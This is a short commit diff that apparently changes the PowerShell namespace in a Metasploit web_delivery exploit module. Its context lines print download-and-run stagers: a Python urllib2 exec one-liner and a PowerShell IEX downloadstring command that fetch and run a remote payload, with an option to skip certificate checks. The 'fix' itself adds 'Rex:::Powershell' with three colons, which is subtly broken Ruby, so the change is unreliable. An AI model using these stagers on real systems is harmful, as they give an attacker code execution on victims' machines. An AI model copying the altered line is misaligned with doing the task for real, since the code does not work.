Resolves rapid7#5199

Fix Powershell namespace in web_delivery module

Author: Meatballs1

modules/exploits/multi/script/web_delivery.rb

@@ -88,7 +88,7 @@ def primer
     when 'Python'
       print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
     when 'PSH'
-      ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
+      ignore_cert = Rex:::Powershell::PshMethods.ignore_ssl_certificate if ssl
       download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
       print_line generate_psh_command_line(
                                              noprofile: true,